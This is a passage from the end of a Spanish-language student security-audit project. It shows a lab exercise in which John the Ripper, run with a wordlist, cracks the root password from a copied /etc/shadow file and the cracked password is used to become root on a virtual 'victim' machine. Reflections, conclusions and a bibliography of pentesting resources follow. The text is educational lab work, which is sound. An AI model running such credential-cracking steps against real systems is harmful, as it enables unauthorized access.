Se trata de John the ripper (Jack el destripador). Es un programa de criptografa que permite
descifrar contraseas de varios sistemas operativos. Se suele utilizar por administradores de
sistemas para comprobar la robustez de los passwords de sus usuarios. Es una herramienta open
source, y tiene versiones para muchas plataformas. Es capaz de autodetectar el mtodo de cifrado
utilizado para cifrar las contraseas.
Pgina 96

Su forma de funcionar, es mediante fuerza bruta (en su versin mas bsica), la cual se puede
modificar para que pruebe, por ejemplo, solamente contraseas con caracteres (sin smbolos ni
nmeros), para que utilice diccionarios etc... Una vez elegido el mtodo con el que va a hacer
pruebas, john the ripper prueba cada contrasea cifrandola con el mismo mtodo con el que sea ha
cifrado la contrasea, y comprobando a ver si coincide, en cuyo caso, devuelve la contrasea.
Para nuestro caso, lo que se hizo fue utilizar varios diccionarios desde Backtrack, sin ningn
resultado rpido, por lo que se opt por pasar el shadow obtenido anteriormente a la mquina local
(Ubuntu), y cerrando las mquinas virtuales para tener mayor potencia de clculo.
A continuacin presentamos el comando utilizado y los resultados:
alberaan@Smaug:~$ john --user=root -wordfile:diccionario.txt
shadowSISTEMA.txt
Loaded 1 password (FreeBSD MD5 [32/64])
anthropogenic

(root)

guesses: 1 time: 0:00:02:31 100%

anthropogenic

c/s: 5273

trying:

Con el parmetro user, indicamos que solamente queremos que descifre el usuario root. Con
-wordfile:diccionario.txt le indicamos que diccionario utilizar. Finalmente, introducimos el archivo
donde est copiado /etc/shadow del sistema a atacar (una copia que tenemos en local).
El resultado fue, que encontr que la contrasea de root es anthropogenic. Lo comprobamos desde
el sistema vctima:
aadams@slax:~$ su
Password: anthropogenic
root@slax:/home/aadams#
Y efectivamente, es la contrasea, y estamos dentro del sistema como root.

Valoraciones finales
Valoracin primer taller
Hemos aprendido bastante sobre redes en entornos virtuales, y descubierto como utilizar muchos
servicios bsicos sobre Backtrack. El uso de la herramienta de netcat, una herramienta que fue muy
popular en su da, ha sido algo bastante interesante de aprender a utilizar, por las mltiples opciones
que ofrece. Quizs se echara en falta el poder ver ms herramientas de forma ms generalista, pero
el poder ahondar en una herramienta, de forma tan tcnica, es algo que nunca haba hecho.

Valoracin del segundo taller

En el segundo taller, hemos aprendido ms sobre entornos virtuales y redes. En el comienzo del
taller, el como encontrar la red, el aprender a usar todos los programas de auditoras de seguridad
informtica. Hemos aprendido tambin el modo de trabajo de alguien que intenta obtener
informacin de un sistema, fallos tpicos de muchos entornos empresariales.
Tambin hemos tenido muchos problemas, como el tardar a la hora de encontrar un password a la
hora de realizar un ataque de diccionario. Hemos encontrado que en la web, hay mucha gente que
ha implementado diccionarios de passwords, catalogados en muchas categoras.
Pgina 97

A pesar de haber realizado ataques sencillos, se ha aprendido mucho, ya que ha sido un primer
contacto hacia aspectos tcnicos de una auditora de seguridad informtica.

Pgina 98

Parte 3: Conclusiones y cierre del

Proyecto

Pgina 99

Conclusiones y cierre
Tras haber finalizado el proyecto, hay muchas ideas y conceptos sobre los que me gustara ahondar.
La seguridad, parece un campo infinito, donde cada problema que se encuentra, tiene un efecto de
bola de nieve: intentando realizar algo, se encuentra un problema mayor, y otro, y otro y as
sucesivamente. Nunca se puede saber y realizar todo lo que uno quiere, y la seguridad informtica
es un claro ejemplo, donde adems, siempre interviene otra parte (ya sea atacante o defensora).
Siempre habr alguien ms listo y que sabr ms, y cada da, encontraremos nuevas herramientas
que vulneran nuevos fallos. Aparecern nuevas tcnicas, que con el avance de la tecnologa, harn a
los sistemas ms vulnerables.
An as, es nuestra tarea como profesionales, el intentar minimizar los riesgos, y tratar de hacer las
cosas lo mejor posible. Y personalmente, creo, que uno de los puntos que hay que ahondar ms, es
el concienciar a las personas para que, en caso de emergencia puedan actuar como deben.
Como vemos a lo largo del proyecto, se han abordado muchsimos campos, algunos ms
profundamente que otros. Posiblemente, el proyecto, hubiera tomado un matiz ms tcnico si se
hubiera abordado uno o dos campos, pero como ingenieros, debemos de conocer (al menos con un
mnimo grado de detalle) todos los campos expuestos.
Por ltimo, me gustara aadir, el hecho de que, tras haber sido vctima de un hacker en mis
propios ordenadores personales, poder comentar el hecho de que, no todo se puede solucionar
aplicando soluciones tcnicas sino que, todos esos consejos que cada experto en seguridad aconseja,
todas las medidas de contencin que aparecen en la web y manuales, efectivamente, son tiles, y
han conseguido que, pueda salir airoso del problema. Quizs antes no es que tomara muy en serio
estos consejos, pero si que apreciaba ms la utilidad de la parte tcnica. Ahora, visto lo visto, y tras
haber recorrido todo el camino de la elaboracin del proyecto, me doy cuenta de que muchas veces,
no son solamente los medios informticos son utilizados para el robo de informacin, y dar solucin
a los problemas de seguridad de los mismos, sino que, gracias a lo aprendido, y la rpida y correcta
actuacin de los usuarios, podemos solventar la mayora de los problemas.

Pgina 100

Bibliografa
[1] Laboratorios Dragonjar http://labs.dragonjar.org/
[2] Web oficial NMAP http://nmap.org/
[3] Web oficial Netcat http://netcat.sourceforge.net/
[4] Blog Seguridad Security By Default http://www.securitybydefault.com/
[5] Blog Seguridad Pentester http://www.pentester.es/
[5] Diccionarios http://www.outpost9.com/files/WordLists.html
[6] Web oficial John The Ripper http://www.openwall.com/john/
[7] Web oficial Hydra http://www.xhydra.com/
[8] Web oficial Bactrak http://www.remote-exploit.org/backtrack.html
[9] OSSTMM 2.2 de ISECOM
[10] Syngress Penetration Testers Open Source Toolkit Volume 2
[11] Wikipedia http://wikipedia.org/
[12] Como funciona un exploit http://www.mipistus.blogspot.com/2008/04/ejemplo-de-cmofunciona-un-exploit.html
[13]Fallo dns http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html
[14]Firewalking http://www.scribd.com/doc/3254504/Firewalking
[15]PBX http://www.callcentermagazine.com/article/CTM20020404S0012
[16] Voicemail http://www.net-security.org/article.php?id=43
[17] Voivemail http://www.hispahack.com/oldweb/mi002.htm
[18] Voicemail http://www.securitybydefault.com/search?q=buz%C3%B3n+de+voz
[19] Fax http://www.governmentsecurity.org/hacking_multifunction_printers
[20] Bluetooth tools de SIl Janssens
[21] Cmaras vigilancia http://www.gnucitizen.org/blog/hacking-video-surveillance-networks/
[22] Syngress Metasploit Toolkit
[23] Syngress Nessus Network Auditing second edition

Pgina 101